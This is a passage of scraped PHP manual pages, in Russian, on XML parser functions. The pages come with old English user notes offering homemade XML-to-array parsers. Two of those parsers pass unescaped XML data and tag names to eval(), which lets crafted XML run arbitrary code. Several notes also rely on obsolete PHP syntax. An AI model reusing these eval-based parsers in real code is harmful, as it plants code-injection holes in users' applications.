      array_push($currentElements, $name);

      if($name == "item"){$itemCount += 1;}

   }

   // Prints XML data; finds highlights and links
   function characterData($parser, $data)
   {

      global $currentElements, $newsArray, $itemCount;

      $currentCount = count($currentElements);
      $parentElement = $currentElements[$currentCount-2];
      $thisElement = $currentElements[$currentCount-1];

      if($parentElement == "item"){
         $newsArray[$itemCount-1][$thisElement] = $data;}
      else{
         switch($name){
            case "title":
               break;
            case "link":
               break;
            case "description":
               break;
            case "language":
               break;
            case "item":
               break;}}

   }

   // If the XML element has ended, it is poped off the hierarchy
   function endElement($parser, $name)
   {

      global $currentElements;

      $currentCount = count($currentElements);
      if($currentElements[$currentCount-1] == $name){
         array_pop($currentElements);}

   }

?>
software at serv-a-com dot com 22-Jan-2003 02:08
use:

<?php
while ($data = str_replace("\n","",fread($fp, 4096))){
 // ...
}
?>

instead of:

<?php
while ($data = fread($fp, 4096)) {
  // ...
}
?>

[UPDATE 17-FEB-2003: This post] resulted in some of the visitors e-mailg me on the carriage return stripping issue with questions. I'll try to make the following mumble as brief and easy to understand as possible.

1. Overview of the 4096 fragmentation issue
As you know the following freads the file 4096 bytes at a time (that is 4KB) this is perhaps ok for testing expat and figuring out how things work, but it it rather dangerous in the production environment. Data may not be fully understandable due to fread fragmentation and improperly formatted due to numerous sources(formats) of data contained within (i.e. end of line delimited CDATA).

<?php
while ($data = fread($fp, 4096)) {
  if (!xml_parse($xml_parser, $data, feof($fp))) {
    // ...
  }
}
?>

Sometimes to save time one may want to load it all up into a one big variable and leave all the worries to expat. I think anything under 500 KB is ok (as long as nobody knows about it). Some may argue that larger variables are acceptable or even necessary because of the magic that take place while parsing using xml_parse. Our XML parser(expat) works and can be successfully implemented only when we know what type of XML data we are dealing with, it's average size and structure of general layout and data contained within tags. For example if the tags are followed by a line delimiter like a new line we can read it with fgets in and with minimal effort make sure that no data will be sent to the function that does not end with a end tag. But this require a fair knowledge of the file's preference for storing XML data and tags (and a bit of code between reading data and xml_parse'ing it).
It will save you a headache.

2. Pre Parser Strings and New Line Delimited Data
One important thing to note at this point is that the xml_parse function requires a string variable. You can manipulate the content of any string variable easily as we all know.

A better approach to removing newlines than:

<?php
while ($data = fread($fp, 4096)) {
$data = preg_replace("/\n|\r/","",$data); //flarp
if (!xml_parse($xml_parser, $data, feof($fp))) {...
?>

Above works across all 3 line-delimited text files  (\n, \r, \r\n). But this could potentially (or will most likely) damage or scramble data contained in for example CDATA areas. As far as I am concerned end of line characters should not be used _within_ XML tags. What seems to be the ultimate solution is to pre-parse the loaded data this would require checking the position within the XML document and adding or subtracting (using a in-between fread temporary variable) data based on conditions like: "Is within tag", "Is within CDATA" etc. before fedding it to the parser. This of course opens up a new can of worms (as in parse data for the parser...). (above procedure would take place between fread and xml_parser calls this method would be compatible with the general usage examples on top of the page)

3. The Answer to parsing arbitrary XML and Preprocessor Revisited
You can't just feed any XML document to the parser you constructed and assuming that it will work! You have to know what kind of methods for storing data are used, for example is there a end of line delimited data in the  file ?, Are there any carriage returns in the tags etc... XML files come formatted in different ways some are just a one long string of characters with out any end of line markers others have newlines, carriage returns or both (Microsloth Windows). May or may not contain space and other whitespace between tags. For this reason it is important to what I call Normalize the data before feeding it to the parser. You can perform this with regular expressions or plain old str_replace and concatenation. In many cases this can be done to the file it self sometimes to string data on the fly( as shown in the example above). But I feel it is important to normalize the data before even calling the function to call xml_parse. If you have the ability to access all data before that call you can convert it to what you fell the data should have been in the first place and omit many surprises and expensive regular expression substitution (in a tight spot) while fread'ing the data.
guy at bhaktiandvedanta dot com 27-Sep-2002 12:01
For a simple XML parser you can use this function. It doesn't require any extensions to run.

<?php
// Extracts content from XML tag

function GetElementByName ($xml, $start, $end) {

    global $pos;
    $startpos = strpos($xml, $start);
    if ($startpos === false) {
        return false;
    }
    $endpos = strpos($xml, $end);
    $endpos = $endpos+strlen($end);
    $pos = $endpos;
    $endpos = $endpos-$startpos;
    $endpos = $endpos - strlen($end);
    $tag = substr ($xml, $startpos, $endpos);
    $tag = substr ($tag, strlen($start));

    return $tag;

}

// Open and read xml file. You can replace this with your xml data.

$file = "data.xml";
$pos = 0;
$Nodes = array();

if (!($fp = fopen($file, "r"))) {
    die("could not open XML input");
}
while ($getline = fread($fp, 4096)) {
    $data = $data . $getline;
}

$count = 0;
$pos = 0;

// Goes throw XML file and creates an array of all <XML_TAG> tags.
while ($node = GetElementByName($data, "<XML_TAG>", "</XML_TAG>")) {
    $Nodes[$count] = $node;
    $count++;
    $data = substr($data, $pos);
}

// Gets infomation from tag siblings.
for ($i=0; $i<$count; $i++) {
$code = GetElementByName($Nodes[$i], "<Code>", "</Code>");
$desc = GetElementByName($Nodes[$i], "<Description>", "</Description>");
$price = GetElementByName($Nodes[$i], "<BasePrice>", "</BasePrice>");
}
?>

Hope this helps! :)
Guy Laor
dmarsh dot NO dot SPAM dot PLEASE at spscc dot ctc dot edu 18-Sep-2002 12:27
Some reference code I am working on as "XML Library" of which I am folding it info an object. Notice the use of the DEFINE:

Mainly Example 1 and parts of 2 & 3 re-written as an object:
--- MyXMLWalk.lib.php ---
<?php

if (!defined("PHPXMLWalk")) {
define("PHPXMLWalk",TRUE);

class XMLWalk {
 var $p; //short for xml parser;
 var $e; //short for element stack/array

  function prl($x,$i=0) {
    ob_start();
    print_r($x);
    $buf=ob_get_contents();
    ob_end_clean();
    return join("\n".str_repeat(" ",$i),split("\n",$buf));
  }

 function XMLWalk() {
  $this->p = xml_parser_create();
  $this->e = array();
  xml_parser_set_option($this->p, XML_OPTION_CASE_FOLDING, true);
  xml_set_element_handler($this->p, array(&$this, "startElement"), array(&$this, "endElement"));
  xml_set_character_data_handler($this->p, array(&$this, "dataElement"));
  register_shutdown_function(array(&$this, "free")); // make a destructor
  }

  function startElement($parser, $name, $attrs) {
    if (count($attrs)>=1) {
      $x = $this->prl($attrs, $this->e[$parser]+6);
    } else {
      $x = "";
    }

    print str_repeat(" ",$this->e[$parser]+0). "$name $x\n";
    $this->e[$parser]++;
    $this->e[$parser]++;
  }

  function dataElement($parser, $data) {
    print str_repeat(" ",$this->e[$parser]+0). htmlspecialchars($data, ENT_QUOTES) ."\n";
  }

  function endElement($parser, $name) {
    $this->e[$parser]--;
    $this->e[$parser]--;
  }
  function parse($data, $fp) {
    if (!xml_parse($this->p, $data, feof($fp))) {
        die(sprintf("XML error: %s at line %d",
                    xml_error_string(xml_get_error_code($this->p)),
                    xml_get_current_line_number($this->p)));
    }
  }

  function free() {
    xml_parser_free($this->p);
  }

} // end of class

} // end of define

?>

--- end of file ---

Calling code:
<?php

...

require("MyXMLWalk.lib.php");

$file = "x.xml";

$xme = new XMLWalk;

if (!($fp = fopen($file, "r"))) {
    die("could not open XML input");
}

while ($data = fread($fp, 4096)) {
  $xme->parse($data, $fp);
}

...
?>
jon at gettys dot org 14-Aug-2002 01:59
[Editor's note: see also xml_parse_into_struct().]

Very simple routine to convert an XML file into a PHP structure. $obj->xml contains the resulting PHP structure. I would be interested if someone could suggest a cleaner method than the evals I am using.

<?php
$filename = 'sample.xml';
$obj->tree = '$obj->xml';
$obj->xml = '';

function startElement($parser, $name, $attrs) {
    global $obj;

    // If var already defined, make array
    eval('$test=isset('.$obj->tree.'->'.$name.');');
    if ($test) {
      eval('$tmp='.$obj->tree.'->'.$name.';');
      eval('$arr=is_array('.$obj->tree.'->'.$name.');');
      if (!$arr) {
        eval('unset('.$obj->tree.'->'.$name.');');
        eval($obj->tree.'->'.$name.'[0]=$tmp;');
        $cnt = 1;
      }
      else {
        eval('$cnt=count('.$obj->tree.'->'.$name.');');
      }

      $obj->tree .= '->'.$name."[$cnt]";
    }
    else {
      $obj->tree .= '->'.$name;
    }
    if (count($attrs)) {
        eval($obj->tree.'->attr=$attrs;');
    }
}

function endElement($parser, $name) {
    global $obj;
    // Strip off last ->
    for($a=strlen($obj->tree);$a>0;$a--) {
        if (substr($obj->tree, $a, 2) == '->') {
            $obj->tree = substr($obj->tree, 0, $a);
            break;
        }
    }
}

function characterData($parser, $data) {
    global $obj;

    eval($obj->tree.'->data=\''.$data.'\';');
}

$xml_parser = xml_parser_create();
xml_set_element_handler($xml_parser, "startElement", "endElement");
xml_set_character_data_handler($xml_parser, "characterData");
if (!($fp = fopen($filename, "r"))) {
    die("could not open XML input");
}

while ($data = fread($fp, 4096)) {
    if (!xml_parse($xml_parser, $data, feof($fp))) {
        die(sprintf("XML error: %s at line %d",
                    xml_error_string(xml_get_error_code($xml_parser)),
                    xml_get_current_line_number($xml_parser)));
    }
}
xml_parser_free($xml_parser);
print_r($obj->xml);
return 0;

?>
hans dot schneider at bbdo-interone dot de 24-Jan-2002 08:43
I had to TRIM the data when I passed one large String containig a wellformed XML-File to xml_parse. The String was read by CURL, which aparently put a BLANK at the end of the String. This BLANK produced a "XML not wellformed"-Error in xml_parse!
sam at cwa dot co dot nz 28-Sep-2000 07:39
I've discovered some unusual behaviour in this API when ampersand entities are parsed in cdata; for some reason the parser breaks up the section around the entities, and calls the handler repeated times for each of the sections. If you don't allow for this oddity and you are trying to put the cdata into a variable, only the last part will be stored.

You can get around this with a line like:

$foo .= $cdata;

If the handler is called several times from the same tag, it will append them, rather than rewriting the variable each time. If the entire cdata section is returned, it doesn't matter.

May happen for other entities, but I haven't investigated.

Took me a while to figure out what was happening; hope this saves someone else the trouble.
Daniel dot Rendall at btinternet dot com 07-Jul-1999 10:21
When using the XML parser, make sure you're not using the magic quotes option (e.g. use set_magic_quotes_runtime(0) if it's not the compiled default), otherwise you'll get 'not well-formed' errors when dealing with tags with attributes set in them.


Получение строки ошибки XML-анализатора

  • « Функции парсера XML
  • xml_get_current_byte_index »
  • PHP Manual
  • Функции парсера XML
  • Получение строки ошибки XML-анализатора

xml_error_string

(PHP 4, PHP 5, PHP 7, PHP 8)

xml_error_string — Получение строки ошибки XML-анализатора

Описание

xml_error_string(int $error_code): ?string

Получение строкового представления ошибки XML-анализатора в соответствии с переданным кодом ошибки error_code.

Список параметров

error_code

Код ошибки, возвращаемый функцией xml_get_error_code().

Возвращаемые значения

Возвращает строку с текстовым описанием кода ошибки error_code или null, если описания не найдено.

Смотрите также

  • xml_get_error_code() - Получает код ошибки XML-анализатора

User Contributed Notes

greg at getnetez dot com 23-Aug-2012 07:27
Two notes in one.

Here is the combination of xml_get_error_code() and xml_error_string() to get the error printout as an echo response

Also, I tested before and after xml_parser_free() -- as expected, the error is indeed cleared with the free() so check your error before calling xml_parser_free()

Pushing a deadline or I would add in sample faulted xml for full p.o.c.

somebody else want to step up for that??

G

<?php
$p = xml_parser_create();
xml_parse_into_struct($p, $data, $vals, $index);
//This call prints error
echo 'ERROR if any '.xml_error_string(xml_get_error_code($p));
xml_parser_free($p);
echo "Index array\\n";
print_r($index);
echo "\\nVals array\\n";
print_r($vals);
//No Error left here to be printed
echo 'ERROR if any '.xml_error_string(xml_get_error_code($p));
exit;
?>


Получает текущий для XML-анализатора байтовый индекс

  • « xml_error_string
  • xml_get_current_column_number »
  • PHP Manual
  • Функции парсера XML
  • Получает текущий для XML-анализатора байтовый индекс

xml_get_current_byte_index

(PHP 4, PHP 5, PHP 7, PHP 8)

xml_get_current_byte_index — Получает текущий для XML-анализатора байтовый индекс

Описание

xml_get_current_byte_index(XMLParser $parser): int

Получает текущий для заданного XML-анализатора байтовый индекс.

Список параметров

parser

Ссылка на XML-анализатор, из которого будет получен индекс байта.

Возвращаемые значения

Функция возвращает индекс байта в буфере данных анализатора, на котором он находится в данный момент (начиная с нуля).

Список изменений

Версия | Описание
8.0.0 | Параметр parser ожидает экземпляр класса XMLParser; раньше параметр ждал корректный xml-ресурс (resource).

Примечания

Внимание

Эта функция возвращает байтовый индекс, считая, что текст закодирован в UTF-8. Смена кодировки не повлияет на вывод функции.

Смотрите также

  • xml_get_current_column_number() - Получает от XML-анализатора номер текущего столбца
  • xml_get_current_line_number() - Получает от XML-анализатора номер текущей строки

User Contributed Notes

turan dot yuksel at tcmb dot gov dot tr 20-Sep-2005 03:38
The outcome of this function is heavily dependent on the parser implementation used. For example, at the point where the start_element_ callback is called, libxml2 parser consumes the entire element name and attributes, however expat does not.


Получает от XML-анализатора номер текущего столбца

  • « xml_get_current_byte_index
  • xml_get_current_line_number »
  • PHP Manual
  • Функции парсера XML
  • Получает от XML-анализатора номер текущего столбца

xml_get_current_column_number

(PHP 4, PHP 5, PHP 7, PHP 8)

xml_get_current_column_number — Получает от XML-анализатора номер текущего столбца

Описание

xml_get_current_column_number(XMLParser $parser): int

Получает текущий номер столбца заданного XML-анализатора.

Список параметров

parser

Ссылка на анализатор XML для получения номера столбца.

Возвращаемые значения

Функция возвращает номер столбца на текущей строке (определённой с помощью xml_get_current_line_number()) согласно текущему положению указателя анализатора.

Список изменений

Версия | Описание
8.0.0 | Параметр parser ожидает экземпляр класса XMLParser; раньше параметр ждал корректный xml-ресурс (resource).

Смотрите также

  • xml_get_current_byte_index() - Получает текущий для XML-анализатора байтовый индекс
  • xml_get_current_line_number() - Получает от XML-анализатора номер текущей строки

User Contributed Notes

shaun at 5810 dot com 05-Jul-2003 09:04
Column numbers apparently start at 0. So you may want to add 1.
javajohn at gulfbridge.net 22-Mar-2003 10:03
"Column number" refers to the current character position within the current line of the XML document.


Получает от XML-анализатора номер текущей строки

  • « xml_get_current_column_number
  • xml_get_error_code »
  • PHP Manual
  • Функции парсера XML
  • Получает от XML-анализатора номер текущей строки

xml_get_current_line_number

(PHP 4, PHP 5, PHP 7, PHP 8)

xml_get_current_line_number — Получает от XML-анализатора номер текущей строки

Описание

xml_get_current_line_number(XMLParser $parser): int

Получает номер текущей строки для заданного XML-анализатора.

Список параметров

parser

Ссылка на анализатор XML для получения номера строки.

Возвращаемые значения

Функция возвращает номер строки согласно текущему положению указателя анализатора.

Список изменений

Версия | Описание
8.0.0 | Параметр parser ожидает экземпляр класса XMLParser; раньше параметр ждал корректный xml-ресурс (resource).

Смотрите также

  • xml_get_current_column_number() - Получает от XML-анализатора номер текущего столбца
  • xml_get_current_byte_index() - Получает текущий для XML-анализатора байтовый индекс

User Contributed Notes

There are no user contributed notes for this page.


Получает код ошибки XML-анализатора

  • « xml_get_current_line_number
  • xml_parse_into_struct »
  • PHP Manual
  • Функции парсера XML
  • Получает код ошибки XML-анализатора

xml_get_error_code

(PHP 4, PHP 5, PHP 7, PHP 8)

xml_get_error_code — Получает код ошибки XML-анализатора

Описание

xml_get_error_code(XMLParser $parser): int

Получает код ошибки XML-анализатора.

Список параметров

parser

Ссылка на анализатор XML для получения кода ошибки.

Возвращаемые значения

Функция возвращает один из кодов ошибок из списка, расположенного в разделе кодов ошибок.

Список изменений

Версия | Описание
8.0.0 | Параметр parser ожидает экземпляр класса XMLParser; раньше параметр ждал корректный xml-ресурс (resource).

Смотрите также

  • xml_error_string() - Получение строки ошибки XML-анализатора

User Contributed Notes

There are no user contributed notes for this page.


Разбор XML-данных и помещение в массив

  • « xml_get_error_code
  • xml_parse »
  • PHP Manual
  • Функции парсера XML
  • Разбор XML-данных и помещение в массив

xml_parse_into_struct

(PHP 4, PHP 5, PHP 7, PHP 8)

xml_parse_into_struct — Разбор XML-данных и помещение в массив

Описание

xml_parse_into_struct(
XMLParser $parser,
string $data,
array &$values,
array &$index = null
): int

Эта функция разбирает XML-строку и помещает данные в 2 массива. Массив index содержит указатели на размещение значений в массиве values. Аргументы, задающие массивы, должны передаваться в функцию по ссылке.

Список параметров

parser

Ссылка на используемый XML-анализатор.

data

Строка XML-данных.

values

Массив значений XML-данных.

index

Массив указателей на соответствующие значения в массиве $values.

Возвращаемые значения

xml_parse_into_struct() возвращает 0 при неудачном разборе строки и 1 при успешном. Это не то же самое, что false и true, будьте осторожны с такими операторами, как ===.

Список изменений

Версия | Описание
8.0.0 | Параметр parser ожидает экземпляр класса XMLParser; раньше параметр ждал корректный xml-ресурс (resource).

Примеры

Ниже представлен пример, демонстрирующий внутреннее устройство массивов, генерируемых функцией. XML-строка содержит простой тег note вложенный в тег para. Программа в примере разбирает эту строку и выводит созданные массивы:

Пример #1 Пример использования xml_parse_into_struct()

<?php
$simple = "<para><note>простое примечание</note></para>";
$p = xml_parser_create();
xml_parse_into_struct($p, $simple, $vals, $index);
xml_parser_free($p);
echo "Массив index\n";
print_r($index);
echo "\nМассив vals\n";
print_r($vals);
?>

После обработки программа выведет следующее:

Index array
Array
(
    [PARA] => Array
        (
            [0] => 0
            [1] => 2
        )

    [NOTE] => Array
        (
            [0] => 1
        )

)

Массив Vals
Array
(
    [0] => Array
        (
            [tag] => PARA
            [type] => open
            [level] => 1
        )

    [1] => Array
        (
            [tag] => NOTE
            [type] => complete
            [level] => 2
            [value] => простое примечание
        )

    [2] => Array
        (
            [tag] => PARA
            [type] => close
            [level] => 1
        )

)

Управляемый событиями разбор (основанный на библиотеке expat) может дать труднообрабатываемый результат в случае, если разбирается составной XML-документ. Эта функция не создаёт DOM-объектов, но создаваемые ею массивы можно преобразовать в древовидную структуру впоследствии. Таким образом можно довольно просто создавать объекты, представляющие содержимое XML-файла. Предположим, что следующий XML файл представляет небольшую базу данных с информацией об аминокислотах:

Пример #2 moldb.xml - небольшая база данных с информацией о молекулах

<?xml version="1.0"?>
<moldb>

  <molecule>
      <name>Alanine</name>
      <symbol>ala</symbol>
      <code>A</code>
      <type>hydrophobic</type>
  </molecule>

  <molecule>
      <name>Lysine</name>
      <symbol>lys</symbol>
      <code>K</code>
      <type>charged</type>
  </molecule>

</moldb>
Код, разбирающий документ и создающий подходящие объекты:

Пример #3 parsemoldb.php - разбирает moldb.xml и помещает данные в массив молекул

<?php

class AminoAcid {
var $name; // название аминокислоты
var $symbol; // трёхбуквенное обозначение
var $code; // однобуквенный код
var $type; // гидрофобная, заряженная, нейтральная

function __construct ($aa)
{
foreach ($aa as $k=>$v)
$this->$k = $aa[$k];
}
}

function readDatabase($filename)
{
// чтение XML-базы данных аминокислот
$data = file_get_contents($filename);
$parser = xml_parser_create();
xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, 0);
xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1);
xml_parse_into_struct($parser, $data, $values, $tags);
xml_parser_free($parser);

// проход через структуры
foreach ($tags as $key=>$val) {
if ($key == "molecule") {
$molranges = $val;
// каждая смежная пара значений массивов является верхней и
// нижней границей определения молекулы
for ($i=0; $i < count($molranges); $i+=2) {
$offset = $molranges[$i] + 1;
$len = $molranges[$i + 1] - $offset;
$tdb[] = parseMol(array_slice($values, $offset, $len));
}
} else {
continue;
}
}
return $tdb;
}

function parseMol($mvalues)
{
for ($i=0; $i < count($mvalues); $i++) {
$mol[$mvalues[$i]["tag"]] = $mvalues[$i]["value"];
}
return new AminoAcid($mol);
}

$db = readDatabase("moldb.xml");
echo "** База данных аминокислот:\n";
print_r($db);

?>
После выполнения parsemoldb.php переменная $db содержит массив объектов AminoAcid, а вывод соответственно следующий:
** База данных аминокислот:
Array
(
    [0] => aminoacid Object
        (
            [name] => Alanine
            [symbol] => ala
            [code] => A
            [type] => hydrophobic
        )

    [1] => aminoacid Object
        (
            [name] => Lysine
            [symbol] => lys
            [code] => K
            [type] => charged
        )

)

User Contributed Notes

Adam Tylmad 30-Apr-2009 12:58
Thanx to jukea i've upgraded the characterData-function to allow the value 0. Here is the new complete code:

<?php

class XMLParser {
    var $path;
    var $result;

    function cleanString($string) {
        return trim(str_replace("'", "&#39;", $string));
    }

    function XMLParser($encoding, $data) {
        $this->path = "\$this->result";
        $this->index = 0;

        $xml_parser = xml_parser_create($encoding);
        xml_set_object($xml_parser, &$this);
        xml_set_element_handler($xml_parser, 'startElement', 'endElement');
        xml_set_character_data_handler($xml_parser, 'characterData');

        xml_parse($xml_parser, $data, true);
        xml_parser_free($xml_parser);
    }

    function startElement($parser, $tag, $attributeList) {
        $this->path .= "->".$tag;
        eval("\$data = ".$this->path.";");
        if (is_array($data)) {
            $index = sizeof($data);
            $this->path .= "[".$index."]";
        } else if (is_object($data)) {
            eval($this->path." = array(".$this->path.");");
            $this->path .= "[1]";
        }

        foreach($attributeList as $name => $value)
            eval($this->path."->".$name. " = '".XMLParser::cleanString($value)."';");
    }

    function endElement($parser, $tag) {
        $this->path = substr($this->path, 0, strrpos($this->path, "->"));
    }

    function characterData($parser, $data) {
        if (strlen($data = XMLParser::cleanString($data)))
            eval($this->path." = '$data';");
    }
}

?>
aerik at thesylvans dot com 28-Nov-2008 03:55
Here's another attempt at dealing with rebuilding the xml from the array.  I'm basically preventing certain tags from being self closing by just checking for them explicitly (sure wish expat didn't interpret <textarea /> and <textarea></textarea> the same way (as "complete" tags).

<?php
function array2xml($xmlary){
  $o='';
  foreach($xmlary as $tag ){
    if($tag['tag'] == 'textarea' && !isset($tag['value'])){
      //fake a value so it won't self close
      $tag['value']='';
    }
    //tab space:
    $t = '';
    for($i=1; $i < $tag['level'];$i++){
      $t.="\t";
    }
    switch($tag['type']){
      case 'complete':
      case 'open':
        $o.=$t.'<'.$tag['tag'];
        if(isset($tag['attributes'])){
          foreach($tag['attributes'] as $attr=>$aval){
            $o.=' '.$attr.'="'.$aval.'"';
          }//foreach
        }//attributes
        if($tag['type'] == 'complete'){
          if(!isset($tag['value'])){
            $o .= ' />'."\n";
          } else {
            $o .= '>'."\n".$t.$tag['value']."\n".$t.'</'.$tag['tag'].'>'."\n";
          }
        }else{
          $o .= '>'."\n";
        }
        break;
      case 'close':
        $o .= $t.'</'.$tag['tag'].'>'."\n";
        break;
      case 'cdata':
        $o .= $t.$tag['value']."\n";
        break;
    }//switch
  }//foreach
}
?>
dale at ucsc dot edu 25-Sep-2008 04:16
here you can [re]assemble xml from a xml_parse_into_struct generated array: ie array2xml

<?php
$xml_parser = xml_parser_create( 'UTF-8' ); // UTF-8 or ISO-8859-1
xml_parser_set_option( $xml_parser, XML_OPTION_CASE_FOLDING, 0 );
xml_parser_set_option( $xml_parser, XML_OPTION_SKIP_WHITE, 1 );
xml_parse_into_struct( $xml_parser, $my_text_xml, $aryXML );
xml_parser_free($xml_parser);

//now use aryXML array to xml string:
        $o='';
        foreach( $aryXML as $tag ){
            //tab space:
            for($i=1; $i < $tag['level'];$i++)
                $o.="\t";
            if($tag['type']!='close'){
                if($tag['type']!='cdata')
                    $o.='<'.$tag['tag'];
                if(isset($tag['attributes'])){
                    foreach($tag['attributes'] as $attr=>$aval){
                        $o.=' '.$attr.'="'.$aval.'"';
                    }
                }
                if($tag['type']!='cdata'){
                    $o.=($tag['type']=='complete')?'/>'."\n":'>'."\n";
                }
                $o.=(isset($tag['value']))?$tag['value']:'';
            }else{
                $o.='</'.$tag['tag'].'>';
            }
        }
?>
Llorenc 09-Sep-2008 03:20
Sorry, forgot my last post below, I confused CDATA sections (<![CDATA[]]>) with the value type "cdata", which despite its name it's very different! The first allows adding markup (&,<,>) as regular text and the second is to indicate a not complete node between the open and close nodes. What is true is that the CDATA delimiters are lost after xml_parse_into_struct so it's not possible to revert the process.

Please, feel free to remove my comments or leave them if you think they can help anyone.
wickedfather at hotmail dot com 06-Jul-2008 12:33
Had a comment up that was removed saying I'd found drawbacks, but here's a class what I wrote which works fine for me.  Comments removed due to post restrictions.  Pass the xml into the parse method or in the constructor.  Php4 and 5 safe.

class XMLThing
{
    var $rawXML;
    var $valueArray = array();
    var $keyArray = array();
    var $parsed = array();
    var $index = 0;
    var $attribKey = 'attributes';
    var $valueKey = 'value';
    var $cdataKey = 'cdata';
    var $isError = false;
    var $error = '';

    function XMLThing($xml = NULL)
    {
        $this->rawXML = $xml;
    }

    function parse($xml = NULL)
    {
        if (!is_null($xml))
        {
            $this->rawXML = $xml;
        }

        $this->isError = false;

        if (!$this->parse_init())
        {
            return false;
        }

        $this->index = 0;
        $this->parsed = $this->parse_recurse();
        $this->status = 'parsing complete';

        return $this->parsed;
    }

    function parse_recurse()
    {
        $found = array();
        $tagCount = array();

        while (isset($this->valueArray[$this->index]))
        {
            $tag = $this->valueArray[$this->index];
            $this->index++;

            if ($tag['type'] == 'close')
            {
                return $found;
            }

            if ($tag['type'] == 'cdata')
            {
                $tag['tag'] = $this->cdataKey;
                $tag['type'] = 'complete';
            }

            $tagName = $tag['tag'];

            if (isset($tagCount[$tagName]))
            {
                if ($tagCount[$tagName] == 1)
                {
                    $found[$tagName] = array($found[$tagName]);
                }

                $tagRef =& $found[$tagName][$tagCount[$tagName]];
                $tagCount[$tagName]++;
            }
            else
            {
                $tagCount[$tagName] = 1;
                $tagRef =& $found[$tagName];
            }

            switch ($tag['type'])
            {
                case 'open':
                    $tagRef = $this->parse_recurse();

                    if (isset($tag['attributes']))
                    {
                        $tagRef[$this->attribKey] = $tag['attributes'];
                    }

                    if (isset($tag['value']))
                    {
                        if (isset($tagRef[$this->cdataKey]))
                        {
                            $tagRef[$this->cdataKey] = (array)$tagRef[$this->cdataKey];
                            array_unshift($tagRef[$this->cdataKey], $tag['value']);
                        }
                        else
                        {
                            $tagRef[$this->cdataKey] = $tag['value'];
                        }
                    }
                    break;

                case 'complete':
                    if (isset($tag['attributes']))
                    {
                        $tagRef[$this->attribKey] = $tag['attributes'];
                        $tagRef =& $tagRef[$this->valueKey];
                    }

                    if (isset($tag['value']))
                    {
                        $tagRef = $tag['value'];
                    }
                    break;
            }
        }

        return $found;
    }

    function parse_init()
    {
        $this->parser = xml_parser_create();

        $parser = $this->parser;
        xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, 0);
        xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1);
        if (!$res = (bool)xml_parse_into_struct($parser, $this->rawXML, $this->valueArray, $this->keyArray))
        {
            $this->isError = true;
            $this->error = 'error: '.xml_error_string(xml_get_error_code($parser)).' at line '.xml_get_current_line_number($parser);
        }
        xml_parser_free($parser);

        return $res;
    }
}
jemptymethod at gmail dot com 16-Jun-2008 01:39
@wickedfather, re: beaudurrant....I just cannot concur that the latter's class is "great"....First of all, it doesn't handle attributes.  Second of all, as my code below demonstrates, there is no need waste processing by determining duplicates within their own loop.  Thirdly, when there are duplicates, it collapses the layer in the array above the duplicates.

Here is some much more consise code, though not (yet) object oriented, and also not yet handling attributes; it maintains a stack for each level:

<?php
function xml_parse_into_assoc($file) {
  $data = implode("", file($file));
  $p = xml_parser_create();

  xml_parser_set_option($p, XML_OPTION_CASE_FOLDING, 0);
  xml_parser_set_option($p, XML_OPTION_SKIP_WHITE, 1);

  xml_parse_into_struct($p, $data, $vals, $index);
  xml_parser_free($p);

  $levels = array(null);

  foreach ($vals as $val) {
    if ($val['type'] == 'open' || $val['type'] == 'complete') {
      if (!array_key_exists($val['level'], $levels)) {
        $levels[$val['level']] = array();
      }
    }

    $prevLevel =& $levels[$val['level'] - 1];
    $parent = $prevLevel[sizeof($prevLevel)-1];

    if ($val['type'] == 'open') {
      $val['children'] = array();
      array_push(&$levels[$val['level']], $val);
      continue;
    }

    else if ($val['type'] == 'complete') {
      $parent['children'][$val['tag']] = $val['value'];
    }

    else if ($val['type'] == 'close') {
      $pop = array_pop($levels[$val['level']]);
      $tag = $pop['tag'];

      if ($parent) {
        if (!array_key_exists($tag, $parent['children'])) {
          $parent['children'][$tag] = $pop['children'];
        }
        else if (is_array($parent['children'][$tag])) {
          $parent['children'][$tag][] = $pop['children'];
        }
      }
      else {
        return(array($pop['tag'] => $pop['children']));
      }
    }

    $prevLevel[sizeof($prevLevel)-1] = $parent;
  }
}
?>
wickedfather at hotmail dot com 12-Apr-2008 08:36
To beaudurrant - that class is great and structures things in a very sensible way.  Only problem is that it raises an error if a tag is empty, so would suggest a simple mod to the parse method just to add an isset test.

if (isset($val['value']))
{
    $this->setArrayValue($this->output, $stack, $val['value']);
}
mathiasrav at gmail dot com 10-Mar-2008 08:42
In response to Anonymous' post at 26-Feb-2008 11:50:

Saying that you "don't understand everything" isn't going to get you very popular - you should understand the code you use.
foreach isn't *slow* in PHP, it is actually faster than the equivalent for-construct (which, in many cases, isn't available).

The reason your script is slow is simply your use of xml_parse_into_struct - it reads the whole XML-string and doesn't return until it has parsed and validated it all. If you're looking for efficiency, you'll have to use the more low-level xml_parser_create, xml_set_*_handler functions. Then make sure you don't keep everything in a huge array before outputting it (at least don't if you're going for efficiency).
beaudurrant at gmail dot com 19-Dec-2007 11:23
This is extending what Alf Marius Foss Olsen had posted above.

It takes into account array keys with the same name and uses an increment for them instead of overwriting the keys.

I am using it for SOAP requests (20K - 150K) and it parses very fast compared to PEAR.

<?

class XMLParser  {

    // raw xml
    private $rawXML;
    // xml parser
    private $parser = null;
    // array returned by the xml parser
    private $valueArray = array();
    private $keyArray = array();

    // arrays for dealing with duplicate keys
    private $duplicateKeys = array();

    // return data
    private $output = array();
    private $status;

    public function XMLParser($xml){
        $this->rawXML = $xml;
        $this->parser = xml_parser_create();
        return $this->parse();
    }

    private function parse(){

        $parser = $this->parser;

        xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, 0); // Dont mess with my cAsE sEtTings
        xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1);     // Dont bother with empty info
        if(!xml_parse_into_struct($parser, $this->rawXML, $this->valueArray, $this->keyArray)){
            $this->status = 'error: '.xml_error_string(xml_get_error_code($parser)).' at line '.xml_get_current_line_number($parser);
            return false;
        }
        xml_parser_free($parser);

        $this->findDuplicateKeys();

        // tmp array used for stacking
        $stack = array();
        $increment = 0;

        foreach($this->valueArray as $val) {
            if($val['type'] == "open") {
                //if array key is duplicate then send in increment
                if(array_key_exists($val['tag'], $this->duplicateKeys)){
                    array_push($stack, $this->duplicateKeys[$val['tag']]);
                    $this->duplicateKeys[$val['tag']]++;
                }
                else{
                    // else send in tag
                    array_push($stack, $val['tag']);
                }
            } elseif($val['type'] == "close") {
                array_pop($stack);
                // reset the increment if they tag does not exists in the stack
